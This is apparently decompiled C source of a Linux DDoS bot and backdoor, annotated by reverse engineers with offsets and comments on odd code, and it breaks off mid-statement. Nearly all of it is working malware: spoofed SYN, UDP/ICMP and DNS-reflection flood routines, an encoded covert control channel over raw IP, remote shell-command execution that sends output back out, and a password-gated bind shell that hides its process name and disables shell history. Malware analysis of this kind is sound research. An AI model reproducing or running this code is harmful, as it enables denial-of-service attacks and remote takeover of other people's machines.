#include #include #include #include #include #include #include #include #include #include #include "the-binary.h" #include "iptable.h" #define CONST_TEMPFILE "/tmp/.hj237349" #define CONST_PASSWORD "TfOjG" #define CONST_PATH "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:." pid_t shell_pid, child_pid; int child_cmd, neverset; unsigned long my_address; int cmdbuffbyte1; unsigned long hostaddr; /* offset 0x0804A194 */ void encode_output(int len, char *src, char *dst) { int i; dst[0] = '\0'; sprintf(dst, "%c", src[0] + 0x17); for (i = 1; i < len; i++) dst[i] = src[i] + dst[i - 1] + 0x17; } /* offset 0x0804A1E8 */ void decode_input(int len, char *src, char *dst) { int c, i; char *buf; buf = alloca((len + 3) & ~4); dst[0] = '\0'; if (len < 1) return; for (i = len - 1; i >= 0; i--) { c = (i ? src[i] - src[i - 1] : src[0]) - 0x17; while (c < 0) c += 0x100; memcpy(buf, dst, len); dst[0] = (char)c; memcpy(&(dst[1]), buf, len - 1); sprintf(dst, "%c%s", c, buf); } } inline unsigned short checksum(void *buffer, int len) { int i; unsigned short checksum; checksum = 0; for (i = len; i > 1; i -= 2) checksum += *(unsigned short *)((char *)buffer + len - i); if (i == 1) checksum += *(unsigned char *)buffer; checksum = (checksum >> 16) + checksum; checksum += (checksum >> 16); return ~checksum; } /* In the next function, a 32 byte buffer is allocated on the stack. The * original purpose of this is unknown; however, it appears to be a TCP pseudo * header. The header is not actually used by the function once it is * constructed, other than to compute the checksum on the tcp header that is * embedded in it. The tcp header embedded in the pseudo header is just a copy * of the header that is constructed outside of it. * * We suspect that this code was probably taken and modified from another tool. * This oddity is probably left over from whatever the original code was. */ /* offset 0x08049D40 */ int do_synflood(int dstaddr_a, int dstaddr_b, int dstaddr_c, int dstaddr_d, int dstport_hi, int dstport_lo, int use_srcaddr, int srcaddr_a, int srcaddr_b, int srcaddr_c, int srcaddr_d, int lookup_step, int use_dsthost, char *dsthost) { int save_sa, save_sb, save_sc, save_sd, save_da, save_db, save_dc, save_dd; int sockfd, lookup_counter, lookup_stepper; char srcaddr_buf[32], dstaddr_buf[32], buf[32]; char buffer[40]; struct iphdr *iphdr; /* XXX: added for clarity */ struct tcphdr *tcphdr; /* XXX: added for clarity */ unsigned long ipaddr; struct hostent *he; /* XXX: added for clarity */ struct sockaddr_in dstaddr; /* XXX: These would seem to be compiler generated */ save_da = dstaddr_a; save_db = dstaddr_b; save_dc = dstaddr_c; save_dd = dstaddr_d; save_sa = srcaddr_a; save_sb = srcaddr_b; save_sc = srcaddr_c; save_sd = srcaddr_d; iphdr = (struct iphdr *)buffer; tcphdr = (struct tcphdr *)(buffer + sizeof(struct iphdr)); if (lookup_step) lookup_step--; srandom(time(NULL)); dstaddr.sin_family = AF_INET; dstaddr.sin_port = htons(random() % 255); if (!use_dsthost) { sprintf(dstaddr_buf, "%d.%d.%d.%d", save_da, save_db, save_dc, save_dd); dstaddr.sin_addr.s_addr = inet_addr(dstaddr_buf); } iphdr->version = 0x45; iphdr->tot_len = 0x2800; iphdr->tos = 0; /* XXX: This does not catch errors as it is intended */ if (!(sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW))) { /* XXX: This does not change child_pid where it matters: the parent * process that checks it when receiving a command */ child_pid = 0; return 0; } if (use_srcaddr) sprintf(srcaddr_buf, "%d.%d.%d.%d", save_sa, save_sb, save_sc, save_sd); if (!use_dsthost) iphdr->daddr = inet_addr(dstaddr_buf); iphdr->frag_off = 0; iphdr->protocol = 6; /* TCP */ /* XXX: this doesn't make much sense ...? */ buffer[sizeof(struct iphdr) + 0x0D] &= 0xEF; buffer[sizeof(struct iphdr) + 0x0C] = (buffer[sizeof(struct iphdr) + 0x0C] & 0x0F) | 0x50; tcphdr->ack_seq = 0; tcphdr->doff = 5; tcphdr->flags = 2; tcphdr->urg_ptr = 0; tcphdr->dest = htons((dstport_hi << 8) + dstport_lo); /* XXX: this doesn't make much sense ...? */ buf[8] = 0; if (!use_dsthost) *(unsigned long *)(&(buf[4])) = iphdr->daddr; buf[9] = 6; *(unsigned short *)(&(buf[10])) = 0x1400; lookup_stepper = 0; lookup_counter = 0; for (;;) { if (use_dsthost && !lookup_counter) { if (!(he = gethostbyname(dsthost))) { sleep(600); continue; } bcopy(he->h_addr, &ipaddr, 4); iphdr->daddr = ipaddr; dstaddr.sin_addr.s_addr = ipaddr; *(unsigned long *)(&(buf[4])) = ipaddr; /* ??? */ lookup_counter = 40000; } iphdr->id = htons((random() % 3089) + 32); tcphdr->window = htons((random() % 1401) + 200); tcphdr->source = htons((random() % 40000) + 1); tcphdr->seq = htonl((random() % 40000000) + 1); iphdr->ttl = (random() % 116) + 125; if (!use_srcaddr) { sprintf(srcaddr_buf, "%u.%u.%u.%u", (random() % 255), (random() % 255), (random() % 255), (random() % 255)); } *(unsigned long *)buf = iphdr->saddr = inet_addr(srcaddr_buf); tcphdr->check = 0; iphdr->check = 0; /* XXX: wtf is going on here? after this, buf is never referenced * again until it's reinitialized the next time through the loop. * the code actually uses buf[12] as the starting point for the * computation of the tcp checksum. It's a TCP pseudo header, * yes, but it's never really used. */ bcopy(tcphdr, &(buf[12]), 20); /* XXX: wtf is going on? */ tcphdr->check = checksum(&(buf[12]), sizeof(struct tcphdr)); iphdr->check = checksum(buffer, sizeof(struct iphdr)); sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr *)&dstaddr, sizeof(dstaddr)); if (!lookup_step) { usleep(300); lookup_counter--; } else { if (lookup_stepper != lookup_step) lookup_stepper++; else { usleep(300); lookup_stepper = 0; lookup_counter--; } } } /* XXX: This does not change child_pid where it matters: the parent process * that checks it when receiving a command */ child_pid = 0; /* The socket is never closed. */ return 0; } /* offset 0x08049F4 */ int do_udporicmpflood(int do_udp, int dstport, int dstaddr_a, int dstaddr_b, int dstaddr_c, int dstaddr_d, int srcaddr_a, int srcaddr_b, int srcaddr_c, int srcaddr_d, int use_dsthost, char *dsthost) { int save_dstaddr_a, save_dstaddr_b, save_dstaddr_c; int save_dstaddr_d, save_srcaddr_a, save_srcaddr_b; int save_srcaddr_c, pktlen, sockfd; char srcaddr_buf[32], dstaddr_buf[32], buffer[32]; struct iphdr *iphdr; unsigned long ipaddr; struct udphdr *udphdr; struct icmphdr *icmphdr; struct hostent *he; /* XXX: added for clarity */ struct sockaddr_in dstaddr; register int i; save_dstaddr_a = dstaddr_a; save_dstaddr_b = dstaddr_b; save_dstaddr_c = dstaddr_c; save_dstaddr_d = dstaddr_d; save_srcaddr_a = srcaddr_a; save_srcaddr_b = srcaddr_b; save_srcaddr_c = srcaddr_c; dstaddr.sin_family = AF_INET; dstaddr.sin_port = htons(random() % 255); sprintf(srcaddr_buf, "%d.%d.%d.%d", save_srcaddr_a, save_srcaddr_b, save_srcaddr_c, srcaddr_d); if (!use_dsthost) { sprintf(dstaddr_buf, "%d.%d.%d.%d", save_dstaddr_a, save_dstaddr_b, save_dstaddr_c, save_dstaddr_d); dstaddr.sin_addr.s_addr = inet_addr(dstaddr_buf); } /* XXX: This does not catch errors as it is intended */ if (!(sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW))) { /* XXX: This does not change child_pid where it matters: the parent * process that checks it when receiving a command */ child_pid = 0; return 0; } iphdr = (struct iphdr *)buffer; iphdr->version = 0x45; /* XXX: iphdr->tos never initialized to a known value! */ iphdr->tot_len = 0x1C28; /* 10240 + sizeof(iphdr) + sizeof(udphdr) */ iphdr->id = 0x5504; iphdr->ttl = random() % 130 + 120; iphdr->saddr = inet_addr(srcaddr_buf); if (!use_dsthost) iphdr->daddr = inet_addr(dstaddr_buf); iphdr->frag_off = 0xFE1F; iphdr->check = 0; if (do_udp) { udphdr = (struct udphdr *)(buffer + sizeof(struct iphdr)); iphdr->protocol = 0x11; /* UDP! */ udphdr->source = htons(random() % 255); udphdr->dest = htons(dstport); udphdr->len = 0x900; /* XXX: Checksum is computed with garbage in udphdr->check */ udphdr->check = checksum(udphdr, sizeof(struct udphdr) + 1); /* XXX: This will alter the checksum! */ buffer[sizeof(struct iphdr) + sizeof(struct udphdr)] = 0x61; } else { icmphdr = (struct icmphdr *)(buffer + sizeof(struct icmphdr)); iphdr->protocol = 0x1; /* ICMP! */ icmphdr->type = 8; icmphdr->code = 0; icmphdr->checksum = 0; icmphdr->checksum = checksum(icmphdr, sizeof(struct icmphdr) + 1); } pktlen = 29; iphdr->check = checksum(buffer, sizeof(struct iphdr)); for (i = 0; ; i--) { if (use_dsthost && !i) { if (!(he = gethostbyname(dsthost))) { sleep(600); continue; } bcopy(he->h_addr, &ipaddr, 4); iphdr->daddr = ipaddr; /* XXX: This will alter the checksum! */ dstaddr.sin_addr.s_addr = ipaddr; i = 40000; } sendto(sockfd, buffer, pktlen, 0, (struct sockaddr *)&dstaddr, sizeof(dstaddr)); sendto(sockfd, buffer, pktlen, 0, (struct sockaddr *)&dstaddr, sizeof(dstaddr)); usleep(20); } /* XXX: This does not change child_pid where it matters: the parent process * that checks it when receiving a command */ child_pid = 0; return 0; } static int length_table[9] = { 21, 21, 20, 21, 21, 25, 20, 20, 20 }; static char payload_table[500] = { /* com, net, de, edu, org, usc edu, es, gr, ie */ "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x63\x6F\x6D\x00\x00\x06\x00\x01\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x6E\x65\x74\x00\x00\x06\x00\x01\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x64\x65\x00\x00\x06\x00\x01\x00\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x65\x64\x75\x00\x00\x06\x00\x01\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x6F\x72\x67\x00\x00\x06\x00\x01\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x75\x73\x63\x03\x65\x64\x75\x00\0\x06\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x65\x73\x00\x00\x06\x00\x01\x00\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x67\x72\x00\x00\x06\x00\x01\x00\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x47\x6E\x01\0\0\x01\0\0\0\0\0\0\x03\x69\x65\x00\x00\x06\x00\x01\x00\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\x00\x00\x00\0\0\x00\0\0\0\0\0\0\x00\x00\x00\x00\x00\x00\x00\x00\x00\0\x00\0\x00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" }; /* offset 0x8049564 */ int do_dnsflood_direct(int dstaddr_a, int dstaddr_b, int dstaddr_c, int dstaddr_d, int srcaddr_a, int srcaddr_b, int srcaddr_c, int srcaddr_d, int lookup_step, int srcport_hi, int srcport_lo, int use_dsthost, char *dsthost) { int save_dstaddr_a, save_dstaddr_b, save_dstaddr_c, save_dstaddr_d; int save_srcaddr_a, save_srcaddr_b, save_srcaddr_c, save_srcaddr_d; int lengths[9], lookup_counter, lookup_stepper, offset, sockfd; char *payload, buffer[1024], dstaddr_buf[32], payloads[500]; struct iphdr *iphdr; /* XXX: added for clarity */ struct udphdr *udphdr; unsigned long ipaddr; struct hostent *he; /* XXX: added for clarity */ struct sockaddr_in dstaddr; register int i; save_dstaddr_a = dstaddr_a; save_dstaddr_b = dstaddr_b; save_dstaddr_c = dstaddr_c; save_dstaddr_d = dstaddr_d; save_srcaddr_a = srcaddr_a; save_srcaddr_b = srcaddr_b; save_srcaddr_c = srcaddr_c; save_srcaddr_d = srcaddr_d; memcpy(lengths, length_table, sizeof(length_table)); memcpy(payloads, payload_table, sizeof(payload_table)); iphdr = (struct iphdr *)buffer; /* XXX: added for clarity */ udphdr = (struct udphdr *)(buffer + sizeof(struct iphdr)); payload = buffer + sizeof(struct iphdr) + sizeof(struct udphdr); dstaddr.sin_family = AF_INET; dstaddr.sin_port = 0; if (!use_dsthost) sprintf(dstaddr_buf, "%d.%d.%d.%d", save_dstaddr_a, save_dstaddr_b, save_dstaddr_c, save_dstaddr_d); if (lookup_step) lookup_step--; /* XXX: This does not catch errors as it is intended */ if (!(sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW))) { /* XXX: This does not change child_pid where it matters: the parent * process that checks it when receiving a command */ child_pid = 0; return 0; } lookup_stepper = 0; lookup_counter = 0; memset(buffer, 0, sizeof(buffer)); for (;;) { if (use_dsthost && lookup_counter <= 0) { if (!(he = gethostbyname(dsthost))) { sleep(600); continue; } bcopy(he->h_addr, &ipaddr, 4); iphdr->daddr = ipaddr; dstaddr.sin_addr.s_addr = ipaddr; lookup_counter = 40000; } offset = 0; for (i = 0; i < 9; i++) { if (!use_dsthost) dstaddr.sin_addr.s_addr = inet_addr(dstaddr_buf); memcpy(payload, payloads + offset, lengths[i]); payload[0] = random() % 255; payload[1] = random() % 255; if (!srcport_hi && !srcport_lo) udphdr->source = htons(random() % 30000); else udphdr->source = htons((srcport_hi << 8) + (srcport_lo & 0xFFFF)); udphdr->dest = 0x3500; udphdr->len = htons(lengths[i] + sizeof(struct udphdr)); udphdr->check = 0; /* XXX: udp checksum is never computed! */ if (!save_srcaddr_a && !save_srcaddr_b && !save_srcaddr_c && !save_srcaddr_d) { buffer[0xC] = random() + 1; /* ((char *)iphdr->saddr)[0] */ buffer[0xD] = random() + 1; /* ((char *)iphdr->saddr)[1] */ buffer[0xE] = random() + 1; /* ((char *)iphdr->saddr)[2] */ buffer[0xF] = random() + 1; /* ((char *)iphdr->saddr)[3] */ } else { buffer[0xC] = save_srcaddr_a; /* ((char *)iphdr->saddr)[0] */ buffer[0xD] = save_srcaddr_b; /* ((char *)iphdr->saddr)[1] */ buffer[0xE] = save_srcaddr_c; /* ((char *)iphdr->saddr)[2] */ buffer[0xF] = save_srcaddr_d; /* ((char *)iphdr->saddr)[3] */ } if (!use_dsthost) { buffer[0x10] = save_dstaddr_a; /* ((char *)iphdr->daddr)[0] */ buffer[0x11] = save_dstaddr_b; /* ((char *)iphdr->daddr)[1] */ buffer[0x12] = save_dstaddr_c; /* ((char *)iphdr->daddr)[2] */ buffer[0x13] = save_dstaddr_d; /* ((char *)iphdr->daddr)[3] */ } iphdr->version = 0x45; iphdr->ttl = random() % 130 + 120; iphdr->id = random() % 255; iphdr->protocol = 0x11; /* UDP! */ iphdr->frag_off = 0; iphdr->tot_len = htons(lengths[i] + sizeof(struct iphdr) + sizeof(struct udphdr)); iphdr->check = 0; /* XXX: Note that the byte ordering is not swapped! */ iphdr->check = checksum(buffer, sizeof(struct iphdr)); sendto(sockfd, buffer, lengths[i] + sizeof(struct iphdr) + sizeof(struct udphdr),\ 0, (struct sockaddr *)&dstaddr, sizeof(dstaddr)); if (!lookup_step) { usleep(300); lookup_counter--; } else { if (lookup_stepper != lookup_step) lookup_stepper++; else { usleep(300); lookup_stepper = 0; lookup_counter--; } } offset += 50; } } /* XXX: This does not change child_pid where it matters: the parent process * that checks it when receiving a command */ child_pid = 0; return 0; } /* offset 0x08049174 */ int do_dnsflood_reflect(int srcaddr_a, int srcaddr_b, int srcaddr_c, int srcaddr_d, int lookup_step, int srcport_hi, int srcport_lo, int use_srchost, char *srchost) { int lengths[9], offset, save_a, save_b, save_c, save_d; int lookup_counter, lookup_stepper; int randomize_start, sockfd; char *payload, payloads[500], buffer[1024]; struct iphdr *iphdr; /* XXX: added for clarity */ unsigned long ipaddr, *destip; struct udphdr *udphdr; struct hostent *he; /* XXX: added for clarity */ struct sockaddr_in dstaddr; register int i, start; save_a = srcaddr_a; save_b = srcaddr_b; save_c = srcaddr_c; save_d = srcaddr_d; memcpy(lengths, length_table, sizeof(length_table)); randomize_start = 1; memcpy(payloads, payload_table, sizeof(payload_table)); iphdr = (struct iphdr *)buffer; /* XXX: added for clarity */ udphdr = (struct udphdr *)(buffer + sizeof(struct iphdr)); payload = buffer + sizeof(iphdr) + sizeof(udphdr); dstaddr.sin_family = AF_INET; dstaddr.sin_port = 0; if (lookup_step) lookup_step--; /* XXX: This does not catch errors as it is intended */ if (!(sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW))) { /* XXX: This does not change child_pid where it matters: the parent * process that checks it when receiving a command */ child_pid = 0; return 0; } lookup_stepper = 0; lookup_counter = 0; /* do host lookup when this is zero */ memset(buffer, 0, sizeof(buffer)); for (;;) { if (use_srchost && lookup_counter <= 0) { if (!(he = gethostbyname(srchost))) { sleep(600); continue; } bcopy(he->h_addr, &ipaddr, 4); iphdr->saddr = ipaddr; lookup_counter = 40000; /* do lookup again after 40000 iters */ } offset = 0; for (i = 0; i < sizeof(lengths) / sizeof(int); i++) { if (randomize_start != 1) start = 0; else { randomize_start = 0; start = random() % 8000; } for (destip = &(iptable[start]); *destip; destip++) { dstaddr.sin_addr.s_addr = *destip; memcpy(payload, payloads + offset, lengths[i]); payload[0] = random() % 255; payload[1] = random() % 255; if (!srcport_hi && !srcport_lo) udphdr->source = htons(random() % 30000); else udphdr->source = htons((srcport_hi << 8) + (srcport_lo & 0xFFFF)); udphdr->dest = 0x3500; udphdr->len = htons(lengths[i] + sizeof(struct udphdr)); udphdr->check = 0; /* XXX: udp checksum is never computed! */ if (!use_srchost) { buffer[0xC] = save_a; /* ((char *)iphdr->saddr)[0] */ buffer[0xD] = save_b; /* ((char *)iphdr->saddr)[1] */ buffer[0xE] = save_c; /* ((char *)iphdr->saddr)[2] */ buffer[0xF] = save_d; /* ((char *)iphdr->saddr)[3] */ } iphdr->daddr = *destip; iphdr->version = 0x45; iphdr->ttl = random() % 130 + 120; iphdr->id = random() % 255; iphdr->protocol = 0x11; /* UDP! */ iphdr->frag_off = 0; iphdr->tot_len = htons(lengths[i] + sizeof(struct iphdr) + sizeof(struct udphdr)); iphdr->check = 0; /* XXX: Note that the byte ordering is not swapped! */ iphdr->check = checksum(buffer, sizeof(struct iphdr)); sendto(sockfd, buffer, lengths[i] + sizeof(struct iphdr) + sizeof(struct udphdr), 0, (struct sockaddr *)&dstaddr, sizeof(dstaddr)); if (!lookup_step) { usleep(300); lookup_counter--; } else { if (lookup_stepper != lookup_step) lookup_stepper++; else { usleep(300); lookup_stepper = 0; lookup_counter--; } } } offset += 50; } } /* XXX: This does not change child_pid where it matters: the parent process * that checks it when receiving a command */ child_pid = 0; return 0; } /* offset 0x08049138 */ unsigned long get_haddr(char *addr) { struct hostent *he; if (!(he = gethostbyname(addr))) return 0; memcpy((char *)&hostaddr, &(he->h_addr_list[0]), he->h_length); return hostaddr; } /* offset 0x08048F94 */ int send_packet(char *srcaddr, char *dstaddr, char *buf, int buflen) { int sockfd; char *data, *packet, tmpbuf[32]; struct datahdr *datahdr; struct sockaddr_in addr; if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return 0; if (!(packet = (char *)malloc(buflen + 23))) /* XXX: socket handle is leaked here */ return 0; datahdr = (struct datahdr *)packet; data = packet + sizeof(struct datahdr); ((char *)(datahdr->iphdr.saddr))[0] = srcaddr[0]; ((char *)(datahdr->iphdr.saddr))[1] = srcaddr[1]; ((char *)(datahdr->iphdr.saddr))[2] = srcaddr[2]; ((char *)(datahdr->iphdr.saddr))[3] = srcaddr[3]; ((char *)(datahdr->iphdr.daddr))[0] = dstaddr[0]; ((char *)(datahdr->iphdr.daddr))[1] = dstaddr[1]; ((char *)(datahdr->iphdr.daddr))[2] = dstaddr[2]; ((char *)(datahdr->iphdr.daddr))[3] = dstaddr[3]; sprintf(tmpbuf, "%d.%d.%d.%d", dstaddr[0], dstaddr[1], dstaddr[2], dstaddr[3]); addr.sin_addr.s_addr = get_haddr(tmpbuf); addr.sin_port = 0x0A; addr.sin_family = AF_INET; datahdr->iphdr.version = 0x45; datahdr->iphdr.ttl = 0xFA; datahdr->iphdr.protocol = 0x0B; datahdr->iphdr.tot_len = htons(buflen + sizeof(struct datahdr)); datahdr->iphdr.tos = 0; datahdr->iphdr.id = htons(random()); datahdr->iphdr.frag_off = 0; datahdr->iphdr.check = 0; datahdr->iphdr.check = checksum(packet, sizeof(struct iphdr)); datahdr->unknown[0] = 3; memcpy(data, buf, buflen); if (sendto(sockfd, packet, buflen + sizeof(struct datahdr), 0, (struct sockaddr *)&addr, sizeof(addr)) == -1) { /* XXX: socket handle is leaked here */ free(packet); return 0; } close(sockfd); free(packet); return 1; } /* offset 0x08048ECC */ int broadcast_packet(char *address_list, char *buf, int buflen) { register int i; if (!cmdbuffbyte1) send_packet((char *)&my_address, address_list, buf, buflen); else { for (i = 0; i < 40; i += 4) { usleep(4000); send_packet((char *)&my_address, address_list + i, buf, buflen); } } return 1; } /* offset 0x08048134 */ int main(int argc, char *argv[]) { char tmpbuf[2048], cmdbuf[2048], buf400[400], addrlist[40]; struct sockaddr_in listen_addr, accept_addr; char rawreceived[12772], hostnamebuf[256]; int sockoptval, addrlen, sockfd, clientfd; /* int ptr_tmpbuf, ptr_datahdr, ptr_data; */ FILE *fd; /* int ptr_cmdbuf, ptr_addrlist, ptr_buf400; */ int numhosts, random_number; register int flag, i, nb; sockoptval = 1; addrlen = sizeof(accept_addr); if (geteuid()) exit(-1); memset(argv[0], 0, strlen(argv[0])); strcpy(argv[0], "[mingetty]"); signal(SIGCHLD, SIG_IGN); if (fork()) exit(0); setsid(); signal(SIGCHLD, SIG_IGN); if (fork()) exit(0); chdir("/"); close(0); close(1); close(2); child_pid = 0; shell_pid = 0; child_cmd = 0; srandom(time(NULL)); sockfd = socket(PF_INET, SOCK_RAW, 0x0B); signal(SIGHUP, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGCHLD, SIG_IGN); for (;; usleep(10000)) { nb = recv(sockfd, tmpbuf, sizeof(tmpbuf), 0); if (((struct datahdr *)tmpbuf)->iphdr.protocol != 0x0B) continue; if (((struct datahdr *)tmpbuf)->unknown[0] != 2) continue; if (nb <= 200) continue; decode_input(nb - sizeof(struct datahdr), tmpbuf + sizeof(struct datahdr), cmdbuf); switch (cmdbuf[1]) { case CMD_RELAY_COMMAND: /* offset 0x0804835C */ tmpbuf[0] = '\0'; tmpbuf[0] = (char)neverset; tmpbuf[1] = 1; tmpbuf[2] = 7; if (!child_pid) tmpbuf[3] = 0; else { tmpbuf[3] = 1; tmpbuf[4] = (char)child_cmd; } encode_output(400, tmpbuf, cmdbuf); broadcast_packet(addrlist, cmdbuf, (random() % 201) + 400); break; case CMD_RELAY_SETUP: /* offset 0x080483F0 */ cmdbuffbyte1 = cmdbuf[2]; memcpy((char *)&my_address, &(tmpbuf[16]), sizeof(my_address)); srandom(time(NULL)); numhosts = random() % 10; /* edi */ for (i = 0; i <= 9; i++) { if (i == numhosts) continue; if (cmdbuffbyte1 != 2) { addrlist[i * 4 ] = cmdbuf[i * 4 + 3]; addrlist[i * 4 + 1] = cmdbuf[i * 4 + 4]; addrlist[i * 4 + 2] = cmdbuf[i * 4 + 5]; addrlist[i * 4 + 3] = cmdbuf[i * 4 + 6]; continue; } /* XXX: This whole situation here is pretty bizarre. * random() returns a number in eax, which is then assigned * into the stack variable we've named random_number. A * test for negative is done, and if so, ecx is loaded with * eax + 0xFF. The stack variable is then loaded with ecx. * The code goes on to use eax (al, actually) to load the * buffer indexed by esi. This process is repeated four * times. I'm suspicious of a compiler bug. Regardless, * the whole thing is pretty ridiculous. * * This would be the right way to do this: * addrlist[i * 4 ] = random() % 255; * addrlist[i * 4 + 1] = random() % 255; * addrlist[i * 4 + 2] = random() % 255; * addrlist[i * 4 + 3] = random() % 255; * * The code below is what actually happens, even though it * it's nonsensical: */ if ((random_number = addrlist[i * 4 ] = random()) < 0) random_number += 255; if ((random_number = addrlist[i * 4 + 1] = random()) < 0) random_number += 255; if ((random_number = addrlist[i * 4 + 2] = random()) < 0) random_number += 255; if ((random_number = addrlist[i * 4 + 3] = random()) < 0) random_number += 255; } if (!cmdbuffbyte1) numhosts = 0; if (cmdbuffbyte1 != 2) { numhosts <<= 2; addrlist[numhosts ] = cmdbuf[3]; addrlist[numhosts + 1] = cmdbuf[4]; addrlist[numhosts + 2] = cmdbuf[5]; addrlist[numhosts + 3] = cmdbuf[6]; } break; case CMD_SHELL_OUTPUT: /* offset 0x08048590 */ if ((shell_pid = fork()) != 0) break; setsid(); signal(SIGCHLD, SIG_IGN); if (fork() != 0) { sleep(10); kill(shell_pid, SIGKILL); exit(0); } for (i = 0; i < 398; i++) cmdbuf[i] = cmdbuf[i + 2]; sprintf(tmpbuf, "/bin/csh -f -c \"%s\" 1> %s 2>&1", cmdbuf, CONST_TEMPFILE); system(tmpbuf); if (!(fd = fopen(CONST_TEMPFILE, "rb"))) exit(0); flag = 0; do { nb = fread(tmpbuf, 1, 398, fd); tmpbuf[nb] = 0; for (i = 0; i < 398; i++) cmdbuf[i + 2] = tmpbuf[i]; if (flag) cmdbuf[1] = 4; else { cmdbuf[1] = 3; flag = 1; } encode_output(400, cmdbuf, buf400); broadcast_packet(addrlist, buf400, (random() % 201) + 400); usleep(400000); } while (nb); fclose(fd); unlink(CONST_TEMPFILE); exit(0); case CMD_DNSFLOOD_REFLECT: /* offset 0x0804871C */ if (child_pid) break; child_cmd = 4; if ((child_pid = fork()) != 0) break; memcpy(hostnamebuf, cmdbuf, 255); for (i = 0; i < 255; i++) hostnamebuf[i] = hostnamebuf[i + 9]; do_dnsflood_reflect(cmdbuf[2], cmdbuf[3], cmdbuf[4], cmdbuf[5], 0, cmdbuf[6], cmdbuf[7], cmdbuf[8], hostnamebuf); exit(0); case CMD_UDPORICMPFLOOD: /* offset 0x080487C8 */ if (child_pid) break; child_cmd = 5; if ((child_pid = fork()) != 0) break; memcpy(hostnamebuf, cmdbuf, 255); for (i = 0; i < 255; i++) hostnamebuf[i] = hostnamebuf[i + 13]; do_udporicmpflood(cmdbuf[2], cmdbuf[3], cmdbuf[4], cmdbuf[5], cmdbuf[6], cmdbuf[7], cmdbuf[8], cmdbuf[9], cmdbuf[10], cmdbuf[11], cmdbuf[12], hostnamebuf); exit(0); case CMD_SHELL: /* offset 0x08048894 */ if (child_pid) break; child_cmd = 6; signal(SIGCHLD, SIG_IGN); if ((child_pid = fork()) != 0) break; setsid(); signal(SIGCHLD, SIG_IGN); listen_addr.sin_family = AF_INET; listen_addr.sin_port = 0xF15A; listen_addr.sin_addr.s_addr = INADDR_ANY; sockoptval = 1; sockfd = socket(PF_INET, SOCK_STREAM, 0); signal(SIGCHLD, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGINT, SIG_IGN); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockoptval, sizeof(int)); bind(sockfd, (struct sockaddr *)&listen_addr, sizeof(listen_addr)); listen(sockfd, 3); for (;;) { /* XXX: This does not catch errors as it is intended */ if (!(clientfd = accept(sockfd, (struct sockaddr *)&accept_addr, &addrlen))) exit(0); if (fork() != 0) break; } recv(clientfd, rawreceived, 0x13, 0); for (i = 0; i < 0x13; i++) { if (rawreceived[i] == 0x0A) { rawreceived[i] = 0; continue; } if (rawreceived[i] == 0x0D) { rawreceived[i] = 0; continue; } rawreceived[i]++; } /* validate the password, actual is "SeNiF" */ if (strcmp(rawreceived, CONST_PASSWORD) == 0) { send(clientfd, "\xFF\xFB\x01\x00", 4, 0); close(clientfd); exit(0); } dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2); setenv("PATH", CONST_PATH, 1); unsetenv("HISTFILE"); setenv("TERM", "linux", 1); execl("/bin/sh", "sh", NULL); close(clientfd); exit(0); case CMD_SHELL_COMMAND: /* offset 0x08048ACC */ if ((shell_pid = fork()) != 0) break; setsid(); signal(SIGCHLD, SIG_IGN); if (fork() != 0) { sleep(1200); /* 20 minutes */ kill(shell_pid, SIGKILL); exit(0); } for (i = 0; i < 398; i++) cmdbuf[i] = cmdbuf[i + 2]; sprintf(tmpbuf, "/bin/csh -f -c \"%s\" ", cmdbuf); system(tmpbuf); exit(0); case CMD_KILL_FLOOD: /* offset 0x08048B58 */ if (!child_pid) break; kill(child_pid, SIGKILL); child_pid = 0; break; case CMD_DNSFLOOD_REFLECT_STEPPED: /* offset 0x08048B80 */ if (child_pid) break; child_cmd = 9; if ((child_pid = fork()) != 0) break; memcpy(hostnamebuf, cmdbuf, 255); for (i = 0; i < 255; i++) hostnamebuf[i] = hostnamebuf[i + 10]; do_dnsflood_reflect(cmdbuf[2], cmdbuf[3], cmdbuf[4], cmdbuf[5], cmdbuf[6], cmdbuf[7], cmdbuf[8], cmdbuf[9], hostnamebuf); exit(0); case CMD_SYNFLOOD: /* offset 0x08048C34 */ if (child_pid) break; child_cmd = 10; if ((child_pid = fork()) != 0) break; memcpy(hostnamebuf, cmdbuf, 255); for (i = 0; i < 255; i++) 